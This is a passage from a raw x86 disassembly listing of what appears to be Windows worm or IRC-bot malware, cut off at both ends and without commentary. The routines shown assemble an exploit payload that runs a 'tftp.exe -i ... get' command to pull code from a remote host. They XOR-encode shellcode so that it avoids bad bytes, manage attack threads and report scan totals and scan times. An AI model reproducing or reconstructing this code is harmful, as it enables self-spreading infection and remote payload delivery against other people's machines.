eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B9C0 push [ebp+arg_C] mov esi, eax call sub_41B9C0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43171C, eax lea eax, [edi+1] mov dword_43173D, eax lea eax, [edi+17h] mov dword_431735, eax pop eax push 74h sub eax, edi push offset dword_4316B8 push ebx mov dword_43174B, eax call sub_41CD20 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CD20 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CD20 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CD20 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CD20 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CD20 add esi, edi push 38h add esi, ebx push offset byte_431741 push esi call sub_41CD20 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi push ebx call sub_40B11C add eax, 101h push eax call sub_41BEB5 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B11C pop ecx pop ecx push eax push esi call sub_40B13C push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB18 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB18, bl ja short loc_40B375 push 15h push offset loc_4316A0 push [ebp+arg_0] mov byte_4316AD, cl mov byte_4316B1, bl call sub_41CD20 add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h push offset loc_431688 push [ebp+arg_0] mov word_431696, cx mov byte_43169B, bl call sub_41CD20 add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B3BA proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E710 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB710 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E710[esi] push eax call sub_41BFD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E910[esi], eax and dword_43E914[esi], 0 mov eax, [esp+8+arg_8] and dword_43E918[esi], 0 mov dword_43E91C[esi], eax and byte_43E928[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; --------------------------------------------------------------------------- byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2E560BE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E924[esi] lea edi, dword_43E924[esi] nop call near ptr 26A0846h cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E918[esi] mov dword_43E910[esi], ebx mov dword_43E914[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E91C[esi] mov byte ptr dword_43E710[esi], bl mov byte_43E928[esi], bl push dword ptr [edi] call dword_4CBA6C lea esi, dword_43E920[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA6C mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E710 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E914 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB914 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: ___:00401630p ; sub_401ACD+95Ep ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E910 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB910 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E910 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB910 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B661 push [ebp+arg_1C] call sub_41C159 pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C266 add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C266 add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BD0Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E924[eax], ecx mov dword_43E910[eax], ecx mov dword_43E914[eax], ecx mov dword_43E918[eax], ecx mov dword_43E91C[eax], ecx mov dword_43E920[eax], ecx mov byte ptr dword_43E710[eax], cl mov byte_43E928[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431B94 push eax xor ebx, ebx call sub_41C266 cmp dword_4317F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431800 loc_40B941: ; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431B88 push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB714 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4E0 mov ecx, dword_4CE4DC push esi push dword_4CB714 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4E0 lea eax, [ebp+var_200] push dword_4CE4DC push offset unk_431BB4 push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_200] push dword_4CE718 push offset unk_431BFC push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push edi lea eax, [ebp+var_800] push offset dword_431C48 push eax call sub_41C266 cmp dword_4317F8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C38 push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_800] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; --------------------------------------------------------------------------- byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CBA14 xor edi, edi mov [ebp-8], eax cmp dword_4317F8, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BCC7 mov ebx, offset dword_4317F8 mov eax, ebx loc_40BBB6: ; CODE XREF: ___:0040BCC1j push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431C98 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C266 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41C266 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40BC52 lea eax, [ebp-124h] loc_40BC52: ; CODE XREF: ___:0040BC4Aj push eax lea eax, [ebp-1DCh] push eax call sub_41C266 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCB7: ; CODE XREF: ___:0040BBC9j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: ___:0040BBA9j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431C64 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 66h, 4Dh db 2Eh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB20[eax*8] call dword_4CBA60 push eax lea eax, [ebp+var_200] push offset unk_431CE8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40BD69 ; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+var_200] push offset unk_431CC8 push eax call sub_41C266 pop ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 lea eax, [ebp+var_200] push 